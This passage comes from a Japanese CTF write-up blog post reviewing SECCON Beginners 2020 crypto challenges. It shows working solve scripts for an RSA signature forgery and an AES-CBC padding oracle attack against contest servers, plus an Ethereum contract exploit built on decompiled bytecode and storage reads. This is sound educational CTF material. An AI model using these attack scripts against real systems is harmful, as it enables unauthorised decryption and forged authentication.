            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except:
            sys.stdout.write('Error\n')
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

接続して見ると

$ nc rsacalc.quals.beginners.seccon.jp 10001
N: 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
----------
1) Sign
2) Exec
3) Exit
> 

最初にNを与えられます。Sign機能とExec機能があり、Signでは入力した文字列datapow(data, d, N)で署名し、署名(Signature)を返却します。Execでは、datasignatureのセットを入力させ、Signatureを検証、その後 stack に見立てた処理で data を処理し、結果が 1337 になればフラグゲット。

dataを処理していって、Fが入っていたときにstackの一番上が1337になっていれば良いようなのですが、signatureのチェックのところでF1337が入っていた場合には弾かれてしまいます。
1337は直接入れなくても、1000 + 337のように計算するようにしてあげれば全然問題ないのですが、Fが入れられないのは困った…。

動作確認のため、server.pyのstack計算部分をlocalで動かしながら検証してみると、1000,+,337,Fみたいな入力で大丈夫そう。でもFが入ってるんだよなぁ…。
Signatureを1000,337,+,Eなどの他の文字列でもらっておいて、Eの箇所をFdataを書き換え、それに対応するsignatureも書き換えて送ったりするのかなぁ…。

復習

他の方のwriteupをいくつか読んでやってみました。

m_1d * m_2d \equiv (m_1m_2)d \bmod n

であることを利用して、m = 1337,Fm1,m2に分解してSignしてもらったsignatureをかければ良いとのこと。
確かに!ExecのときはSignatureとdataが一致しているかの判定しか行っていないからいけそう…!頭いいな!全然思いつかなかった。

やってみる。

1337,Fは 54095972346950 だったので、この値を factordb.comに突っ込んでみると、54095972346950< = 2 * 5^2 * 1081919446939 とのこと。これを m1,m2に設定します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Util.number import *
from pwn import * 
from pprint import pprint

host = 'rsacalc.quals.beginners.seccon.jp'
port = 10001

def fetch_signature(data):
    r = remote(host, port)
    res = r.recvuntil(b'----------')
    N = int(res[3:].split(b'\n')[0])
    res = r.recvuntil(b'> ')
    r.sendline(b'1')
    res = r.recvuntil(b'data> ')
    r.sendline(long_to_bytes(data))
    s = int(r.recvline()[10:-1],16)
    r.close()
    return N, s

data = b'1337,F'
print(bytes_to_long(data))  # 54095972346950
m1 = 1081919446939
m2 = bytes_to_long(data) // m1

N, s1 = fetch_signature(m1)
N, s2 = fetch_signature(m2)
s = s1 * s2 % N

r = remote(host, port)
res = r.recvuntil(b'> ')
r.sendline(b'2')
res = r.recvuntil(b'data> ')
r.sendline(data)
res = r.recvuntil(b'signature> ')
r.sendline(hex(s)[2:])
print(r.recvline())

実行結果

$ python solve.py 
54095972346950
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
[*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
[*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
b'ctf4b{SIgn_n33ds_P4d&H4sh}\n'
[*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001

他、分解しなくても2で割ったものと2 (すなわちm_1が2)でやったり、逆にm_1=2mでやったりしているwriteupも。
これも基礎力を問われる感じの、とてもいい問題だったんだなぁ…。

[Crypto] Encrypter [Medium]

暗号化できるサービスを作ってみました!

http://encrypter.quals.beginners.seccon.jp/

指定されたurlに行ってみると、base64 encode/decode サービスっぽいサイトが。

f:id:kusuwada:20200601062938p:plain

Encrypted flagボタンがあるので、これを選んでEncrypt/Decryptを押してみると、それっぽい文字列がOutputに表示されます。が、他の文字列をEncryptしてもそうなんですけど、ボタンを押すごとに値が変わります。
Encrypt機能で得られた文字列をInputに入れ、Decryptを実行してみると、ok. TODO: return the result without the flagとOutputに表示されます。

htmlソースを読んでみても、ぱっとそれっぽい処理はなし。/encrypt.phpを読みに行っていることがわかります。このソースを取得できないかやってみましたができませんでした。そもそもCrypto問だし。

この問題は時間切れでポチポチ試してみただけ。ソースなし問題。

復習

Discordに作問者さんからのコメントがあったのでコピペ。

参加者で返してる人がいないので作問者から。Encrypterはブロック暗号関連の知識が必要で、特にブロック暗号利用モードが何かに気付けるかどうかが鍵になります。Encrypted flagがボタンを押すたびに全然違う文字列になるので、「最初にランダムなIVを使用して暗号化するCBCモードが使われているだろう」という予想を立てることができます。

CBCで有名な攻撃を検索すると、BitFlip攻撃やPadding oracle attackといった攻撃が出てきますが、今回の問題は復号の可否がわかるので後者になります

とのこと。エラーを吐かせて、暗号の種類を特定できたのか。

他の方のwriteup読んでみた感じ、エラーで判別してる人もいれば、暗号語の文字列の長さや上記の通り同じ文字列を暗号化しても毎度値が異なることからAESが使われていることを推測している人も。

ポチポチ試してみて観測できること

  • 同じ文字列を暗号化しても、毎回違う暗号文が生成される
  • 文字列の長さを変えると、暗号文の長さも変わる
  • Encrypted flag ボタンを押すと、毎回違う暗号文が返ってくるが長さは毎回一緒
  • Encrypt機能で暗号化された文字列は、base64Decodeすると、16の倍数になっている
  • Encrypt機能で生成した文字列をDecryptしてもok. TODO: return the result without the flagとしか返ってこない
  • が、ちょっと変えてDecryptに突っ込むと、error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block lengthが返る

このエラーの文言 wrong final block length から、paddingに失敗していることを推測することが想定されていたっぽい。また。digital envelope routines など、エラーメッセージのフォーマットっぽいので検索すると、AES-CBCが使われていることまでわかる。

復号できたかどうかの成否を与えられる、AES-CBCに対する攻撃手法と言えば、Padding Oracle。ということで、Padding Oracle攻撃を試す、という流れだったらしい。

これまでもpicoCTFで何度かPadding Oracleに関する問題が出題されており、そのたびに色々読みながら攻撃コードを組み立てていましたが、今回いくつかのwriteupにて、ptrlibにpadding oracle用のAPIが用意されているらしい…!知らなかった。ということで、これを使ってみます。

github.com

なんか見たことある名前のライブラリと見たことあるサムネ画像だなーと思ったら、作者が ptr-yudai さんだった。
サンプルコードはこちら。

https://bitbucket.org/ptr-yudai/ptrlib/src/master/examples/crypto/ex_padcbc.py

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import base64
import json
from ptrlib import *
from Crypto.Cipher import AES

url = 'http://encrypter.quals.beginners.seccon.jp/encrypt.php'
flag_cipher = 'y7yja1+ro8yJVmTrban4XQG/5jKIpWtm2AC5tGhTScSY0TVgWUEahx9x+37u8biBfxFa9aI+h3zttKegXuZN9g=='

def try_decrypt(cipher):
    data = {
        'mode': 'decrypt',
        'content': base64.b64encode(cipher).decode()
    }
    headers = {'Content-Type': 'application/json'}
    res = requests.post(url, data=json.dumps(data), headers=headers)
    if 'TODO:' in res.text:
        return True
    else:
        return False

cipher = base64.b64decode(flag_cipher)
cracked = padding_oracle(try_decrypt, cipher, bs=AES.block_size, unknown=b'?')
print(cracked)

実行結果

$ python solve.py 
[+] padding_oracle_block: decrypted a byte 1/16: b'\x02'
[+] padding_oracle_block: decrypted a byte 2/16: b'\x02'
[+] padding_oracle_block: decrypted a byte 3/16: b'}'
[+] padding_oracle_block: decrypted a byte 4/16: b'n'
[+] padding_oracle_block: decrypted a byte 5/16: b'0'
(略)
[+] padding_oracle_block: decrypted a byte 13/16: b'3'
[+] padding_oracle_block: decrypted a byte 14/16: b'_'
[+] padding_oracle_block: decrypted a byte 15/16: b'r'
[+] padding_oracle_block: decrypted a byte 16/16: b'0'
[+] padding_oracle: decrypted a block 2/4: b'0r_3ncrypt10n}\x02\x02'
[+] padding_oracle_block: decrypted a byte 1/16: b'f'
[+] padding_oracle_block: decrypted a byte 2/16: b'_'
[+] padding_oracle_block: decrypted a byte 3/16: b'l'
(略)
[+] padding_oracle_block: decrypted a byte 15/16: b't'
[+] padding_oracle_block: decrypted a byte 16/16: b'c'
[+] padding_oracle: decrypted a block 4/4: b'ctf4b{p4d0racle_'
b'????????????????ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}\x02\x02'

文字が判明するごとに出力、ブロックが判明するごとに行出力してくれるので、とても安心。こんなに早く実装できるとは…!

暗号にAES-CBCが使われていること、こちらが得られる情報からpadding oracleが使えそうなこと、に気付けるかが問われている問題だった。

[Crypto] C4B [Hard]

Are you smart?

http://c4b.quals.beginners.seccon.jp/

これはチラ見すらしなかった。問題文からして、Smart Contruct関連?

復習

タイトルと使うツールなどから、仮想通貨、イーサリアム(Ethereum)関連の問題であることがわかります。
このあたりでイーサリアム、およびスマートコントラクトについての基礎中の基礎知識をつけておきます。

環境を整えて問題が見れる・動かせるようにする

指定されたサイトを訪れると、Web3 Provider をinstallするよう言われます。

f:id:kusuwada:20200605063558p:plain

ここに良さそうな解説記事が。

MetaMask を使用した Web3 の初期化 - 🍣sushiether🍣

  • MetaMask は Chrome プラグインとして使える大変便利な Ethereum ウォレットです。
  • MetaMask を使用するとボタン 1 つでトランザクションに署名ができるので、エンドユーザーが DApps を使用する際に重宝します。

ほうほう。リポジトリはこちら。

github.com

今回はChrome拡張機能が必要っぽいので、下記からChromeにインストールします。

chrome.google.com

これをインストールして先程のページを開くと、Rule, Source, Hintが表示されました🙌

f:id:kusuwada:20200605063625p:plain

まだ警告が残っています。Switch to Ropsten Network とのこと。Ropstenで検索すると、Ethereumのテストネットの一つらしく、他にもkovan,rinkebyなどがある。
先程のMetaMask拡張のサイトに、テストネットを選択するところがあったので、ropstenを選択してみます。

f:id:kusuwada:20200605063814p:plain

切り替えて戻ってみると、警告が消えていました。スタートできそうです。
topに表示されているSourceを眺めてみます。

pragma solidity >= 0.5.0 < 0.7.0;

contract C4B {

  address public player;
  bytes8 password;
  bool public success;

  event CheckPassed(address indexed player);

  constructor(address _player, bytes8 _password) public {
    player = _player;
    password = _password;
    success = false;
  }

  function check(bytes8 _password, uint256 pin) public returns(bool) {
    uint256 hash = uint256(blockhash(block.number - 1));
    if (hash%1000000 == pin) {
      if (keccak256(abi.encode(password)) == keccak256(abi.encode(_password))) {
        success = true;
      }
    }
    emit CheckPassed(player);
    return success;
  }
}

ここで使われている言語は、Solidityと言うらしい。

Solidityはスマートコントラクトを扱えるオブジェクト指向高級言語です。スマートコントラクトはEthereum内でアカウントの動作を制御するものです。

SolidityはC++PythonJavaScriptを参考に、Ethereum Virtual Machine(EVM)の操作を目的に作られています。

知らないことがたくさんあるなぁ。
Hintに書かれている、Remix IDEは、このSolidity用のIDE

ブラウザベースのIDEでSolidityでスマートコントラクトが書け、デプロイしてスマートコントラクトを動かすことができます。

とのこと。

まずは動かしてみます。
ページトップの方にあるDeployを押してみると、こんなウィンドウが立ち上がります。

f:id:kusuwada:20200605063945p:plain:h300

このままでは残高不足で何もできないようです。テストネットで動いているので、MetaMaskのページで 振り込み > Faucetをテストで、テスト振り込みしておきます。

f:id:kusuwada:20200605064243p:plain

時間がかかりますが、1 ETHずつ振り込み > Faucetをテストで振り込んでいくと、5 ETHまで振り込んだところでこれ以上所持できなくなります。今回は1 ETHでも充分だったかも。

沢山お金が手に入ったので、TopページのDeployを試してみます。今回はちゃんと残高が足りたので「確認」ボタンが押せるようになっています。ボタンを押して送金完了。一通りの機能が試せました。

f:id:kusuwada:20200605064326p:plain

MetaMaskからリンクで飛べる Etherscan では、各コントラクトの詳細情報が確認できます。
Deployした際、コントラクトが confirmed になったら、MetaMaskプラグインから完了通知とともに「Etherscan で確認しますか?」的なポップが出るので、ここからEtherscanに飛べます。MetaMaskページの取引履歴でも送金元・先のアドレスや金額、Gas Limit, Used, Price などが確認でき、更にEtherscanへのショートカットも用意されていました👍 TransactionIDをコピーしてそれで検索してもよし。

f:id:kusuwada:20200605064410p:plain

Ethereumを扱う際は、まずはこのサイトで情報をチェックするのが定石っぽい。

事前知識の獲得とソースコード解読

さて、何をしていいかさっぱりわからないので、ここらへんで下記のサイトをざーっと読んでみました。

今回サイト上に示されていたコードは、上記のコントラクト・コードにあたります。

コントラクト・コードに任意の動作をプログラムすることで、独自通貨の発行や投票システムなどの様々なアプリケーションが実現できます。コントラクト・コードの実行は採掘者によって行われ、実行結果は公開元帳であるブロックチェーンに書き込まれていき、特定の中央機関なくアプリケーションが動作していきます。

とのこと。この機能がEthereumの特徴であるらしい。

サイト上のDeployをすると、このC4Bコントラクトがデプロイされ、インスタンスがEthereumのブロックチェーン上に生成されます。このインスタンスに対して、適切な引数を付けてcheck()関数を呼び出すとflagが得られるっぽい。

スマートコントラクトを作成し実行する - Ethereum入門 に、set()関数呼び出しで値をセット、get()関数呼び出しで値を取得するようなコントラクト・コードの例が載っているので、参考になる。

Solidityは初見ですが、C++PythonJavaScriptを参考に作られたということもあり、雰囲気で読めそう。
下記のチェックをpassすればよさそう。

uint256(blockhash(block.number - 1)) % 1000000 == pin
keccak256(abi.encode(password)) == keccak256(abi.encode(_password)

まず、block.numberは現在のブロック高のこと。EtherscanからはBlock Heightとして確認できます。当該Transactionが含まれるblockの最新のブロック高から計算できる値が、check関数の引数、pinと合致すればOK。

2つ目はkeccak256()というhash関数に食わせた者同士を比較していますが、

Solidityでは、stringという文字列の型を使用するのですが、他の言語のStringと違って、文字列の比較ができません。

そのため、一度、Keccak256関数を使って文字列をbytes32型にし、その値を比較する必要があります。

from: 【Ethereum・Solidity】Keccak256(ハッシュ関数)について | ブロックチェーンエンジニアのブログ

ということで、あまり気にしなくて良さそう。インスタンス生成時にsetされたpasswordと、check関数呼び出し時の引数_passwordが合致していればOK。

SmartContractを Remix IDE でデプロイして動かしてみる

まだ挙動がよくわかっていなかったので、とりあえずヒントのIDEを使ってみることに。ブラウザ上で動作するので、環境の準備は不要。

初学者なので、まずは

EthereumのDapps開発にはRemixが便利 - Qiita

こちらの記事を読みながら、Contractのコードを作成、Compile、Deployをしてinstanceを作るところまでをやってみました。まずはHelloWorldコードを写経。

pragma solidity ^0.4.0;

contract HelloWorld {
    string greeting = "HelloWorld";
    
    function sayHelloWorld() public view returns(string) {
        return greeting;
    }
}

最新のバージョンでのコンパイル方法がわからなかったのですが、Homeの Environments > SOLIDITY をクリックすると、左側に SOLIDITY COMPILER のメニューが表示されました。

Compileが通ったら、メニューアイコンが SOLIDITY COMPILER の下にある DEPLOY & RUN TRANSACTIONS に行ってみます。

環境やアカウント、GAS Limitなどの設定をした後、Deployを実行。

Deployが終わると、下にある Transaction recorded の箇所に情報が出てくるので、Deployed Contractsから対象のContractを選び展開すると、sayHelloWorldボタンが出現。これを押すと、機能をrunしてくれ、返り値に設定した 0: string: HelloWolrdが表示されました。

これと同じように、今回のC4Bコントラクト・コードも作成、Complile, Deployしてみます。
DEPLOY & RUN TRANSACTIONS ページで、ENVIRONMENTを Injected Web3 に変更、AccountをMetaMaskに表示されている自分のものを入力(自動で入力される)すると、使えるようになる。

_PLAYERに自分のアカウントのaddress, _PASSWORDに適当な値を入れてDeployすると、こんな感じに。

f:id:kusuwada:20200605064653p:plain

Deployed Contracts を展開すると、check機能が使えるようになっている。ここでcheck機能の条件をクリアする入力を入れると インスタンスsuccesstrue になって、きっとflagが手に入る。

こんな感じでインスタンスの値を取得するボタンもあり、現在のsuccessの値を取得できます。

f:id:kusuwada:20200605064730p:plain

passwordの値を調べる

passwordは自分でinstance作るんだから知ってるじゃん、と思ったけど、さっきみたいに Remix IDE で自分でdeployしたやつじゃなくて問題ページのDeploy機能でdeployしたものを使う必要があるんだった。初めてのことすぎて錯乱している。

問題ページのDeploy機能でdeployしたtransactionは、MetaMaskの履歴からEtherscanへのリンクで詳細が確認できる。

passwordの求め方は、writeup読んでいても三者三様(文字通り)で面白い。多分2つはとても似ているので、今回はLaikaさんとkusanoさんのwriteupをなぞってみました。

1.自分の作成したinstanceの Storage を参考に、Storage のどこに password が書かれるかを推測

まず、先程自分でRemix上でC4Bコントラクトを作成したときのTransactionに飛び、StateChanges を見ます。

f:id:kusuwada:20200605064752p:plain

StateがChangeした際の詳細を見ると、Storageの中身が書き換わっています。ここに、passwordに指定していたdeadbeefcafebabeがいました。

同様に、問題サイト上からdeployしたときの transaction > StateChanges を確認してみます。

f:id:kusuwada:20200605064814p:plain

先程passwordが入っていたところはa5b20ad6a7a11e8cに変わっています。これがpasswordであると推測できます。

2.Contractのdecompile結果を解読する

問題サイトからDeployしたときのTransactionを確認します。

f:id:kusuwada:20200605064958p:plain

この To: のところのContractが知りたいので、アドレスのリンクをクリックすると、Contractの情報に飛べます。

f:id:kusuwada:20200605065422p:plain

Decompile ByteCode のボタンリンクをクリックすると、Decompile画面に飛び、Decompileを実行すると下記の結果が得られます。

#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0xBa0C16D30DAc50d6530B7D405c901bA611312f01
# 
#  Let's make the world open source 
# 

def _fallback() payable: # default function
  revert

def unknown4c96a389(addr _param1) payable: 
  require calldata.size - 4 >= 32
  create contract with 0 wei
                  code: 0xfe608060405234801561001057600080fd5b506040516102703803806102708339818101604052604081101561003357600080fd5b508051602090910151600080546001600160a01b0319166001600160a01b0390931692909217600160a01b600160e01b031916600160a01b60c09290921c919091021760ff60e01b191681556101e190819061008f90396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80630b93381b1461004657806348db5f8914610062578063c577930a14610086575b600080fd5b61004e6100b3565b604080519115158252519081900360200190f35b61006a6100c3565b604080516001600160a01b039092168252519081900360200190f35b61004e6004803603604081101561009c57600080fd5b506001600160c01b031981351690602001356100d2565b600054600160e01b900460ff1681565b6000546001600160a01b031681565b600060001943014082620f42408206141561016057604080516001600160c01b03198087166020808401919091528351808403820181528385018552805190820120600054600160a01b900460c01b909216606080850191909152845180850390910181526080909301909352815191909201201415610160576000805460ff60e01b1916600160e01b1790555b600080546040516001600160a01b03909116917f320f420edbd58b0816e3c933b93878e7c130093cdc9237d2e3a855b724f69c9491a25050600054600160e01b900460ff169291505056fea2646970667358221220847acddc65835de532668e5c0c467e8906f287b7ccd0665a6763dd424e10be6a64736f6c634300060600, addr(_param1), Mask(64, 192, sha3(block.hash(block.number - 1)))
  if not create.new_address:
      revert with ext_call.return_data[0 len return_data.size]
  log 0xbe099bcc: addr(create.new_address), _param1

この、codeの最後の Mask(64, 192, sha3(block.hash(block.number - 1))) がpasswordだと見当をつけ、C4Bの逆コンパイル結果と見比べて、solidityコードの

bytes8(keccak256(abi.encode(blockhash(block.number - 1))))

と等価だと考えたらしい。すご。

pinの値を調べる

この方法も何通りかありそうでした。

C4B - SECCON Beginners CTF 2020 - minaminao

こちらのwriteupでは、web3モジュールの機能を使っていました。
latest_block = w3.eth.getBlock("latest") とすると、最新のblockが取れるらしい。
ただし、ここで最新のものを取得するコードを書いていても

トランザクションがブロックに含まれるのに時間差があり、pin が正しい値になることが難しい (Infura の情報が遅れてるのかもしれない) ので、success が true になるまでトランザクションを送信するスクリプトを書いた。

とあるように、block.numberがどんどん更新されていくので、pinを固定して持っておくと辛そう。

そこで、このcheck関数を呼び出す、別のContractを作成し、checkの呼び出し時にblock.numberを取得するようにすると良いらしい。

適切なpassword, hashを設定して、check関数を呼ぶ

ということで、C4B contract の check関数を呼び出す Solve contract を作成。attack関数でblock.numberを取得、pinを計算し、passwordとセットにしてC4B.checkを呼び出します。

importで既存のファイルをimportできるそうなので使ってみた。ほおおぉぉぉ。Ethereum 外部コントラクトの呼び出し方法(Remix, MetaMask連携) - Qiita

pragma solidity >= 0.5.0 < 0.7.0;

import 'C4B.sol';

contract Solve {
    C4B public target;
    constructor(address _target) public {
        target = C4B(_target);
    }
    function attack(bytes8 password) public {
        uint256 hash = uint256(blockhash(block.number-1))%1000000;
        target.check(password, hash);
    }
}

これを Remix IDE で作成、コンパイルし、"Your contract is at: 0x908ce018A52dE84ce3357882dF526Ce1C0Ab85ef" と問題サイトに教えてもらった(MetaMaskやEtherscanからも確認できるが) contract address を _target に設定して Deployします。
Deployできたら、後は先程取得したpassword 0xa5b20ad6a7a11e8cをセットし、attack関数を叩きます。

f:id:kusuwada:20200605065455p:plain

これでうまく行っていれば、問題サイトで作成した C4B contract の instance の check関数が正しい引数 password, pinで呼ばれ、状態 successtrue に変わるはず。

Etherscanから、このpublicな状態 success を確認しようとしてみましたが、方法がわからなかった。他のcontractだと read contract みたいな機能があって、内部状態が確認できるのだけど、testnetだからなのかソースを付けていないからなのか、確認できなかった。
ただ、このcheckを叩くcontractのtransactionを確認すると (対象contract -> Interna lTxns -> 一番上のHash) State Changeで下記が確認できた。

f:id:kusuwada:20200605065518p:plain

passwordより前のバイトが 0から1 に変化したので、何かしら内部状態に変更が生じたことが確認できる。更に false -> true の変更を期待しているので、限りなく success が true になったと考えて良さそう。

問題サイトに戻り、Submitを押してみます。署名を送ると、多分successの状態が確認され、チェックが通り、flagが表示されました🙌

f:id:kusuwada:20200605065537p:plain

ちなみに、問題の C4B contract を decompile してみるとこんな感じ。

(コメント省略)

def storage:
  stor0 is uint128 at storage 0 offset 160
  unknown48db5f89Address is addr at storage 0
  success is uint8 at storage 0 offset 224

def success() payable: 
  return bool(success)

def unknown48db5f89() payable: 
  return unknown48db5f89Address

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def unknownc577930a(uint64 _param1, uint256 _param2) payable: 
  require calldata.size - 4 >= 64
  if block.hash(block.number - 1) % 10^6 == _param2:
      if sha3(stor0 << 192) == sha3(Mask(64, 192, _param1)):
          success = 1
  log 0x320f420e: unknown48db5f89Address
  return bool(success)

ソースが与えられずに decompile 結果から中身を把握する問題もありそう。

途中からはほぼ他のwriteupを「なぞった」感じ。ほぼEthereum初見で解けてる人たち凄いなぁ…。
writeupなぞってやってても、ちょいミスでflagまで辿り着けないを繰り返していたので、本番で解ける気がしない(꒪ཀ꒪)

参考にしたwriteup

見つかったwriteupは3つ。解けたチームが5つなのでこんなもんかも。書いていただいてありがとうございました!

感想など

競技中は解けなかった問題、改めて見ると「なんで解けんかったんや」という問題もあれば、「あぁ、基礎力足りなかったな」とか「応用力足りなかったな」「根気が足りなかったな」「時間書ける問題間違えたな」などなど色々反省。

問題自体はどれもとても勉強になりました。復習してよかったー🙌!最近CTF用メモを作っていて、技術や用語、脆弱性や攻撃手法、数学理論、豆知識…など仕入れた知識をコツコツメモしてるんですけど、その場でしか使えない知識やなぞなぞ、guess系の問題だとメモるすことがなくて終わってしまう。そういうCTFも楽しくて好きなんだけど。
CTf4b 2020は、そういう意味でも基本的・汎用的な問題が多く、学ぶことが多かったように思います。(まだPwn・Reversingやってないけど)

特に、全然触ったこともなかった GraphQL や Ethereum の基本的な問題に、時間をかけてじっくり取り組めたのはとても良かった。競技終了後もサーバーをrunningにしておく期間(基本放置とおっしゃってますが問題なく動いていました)を設けていただいて、運営の皆様には感謝です。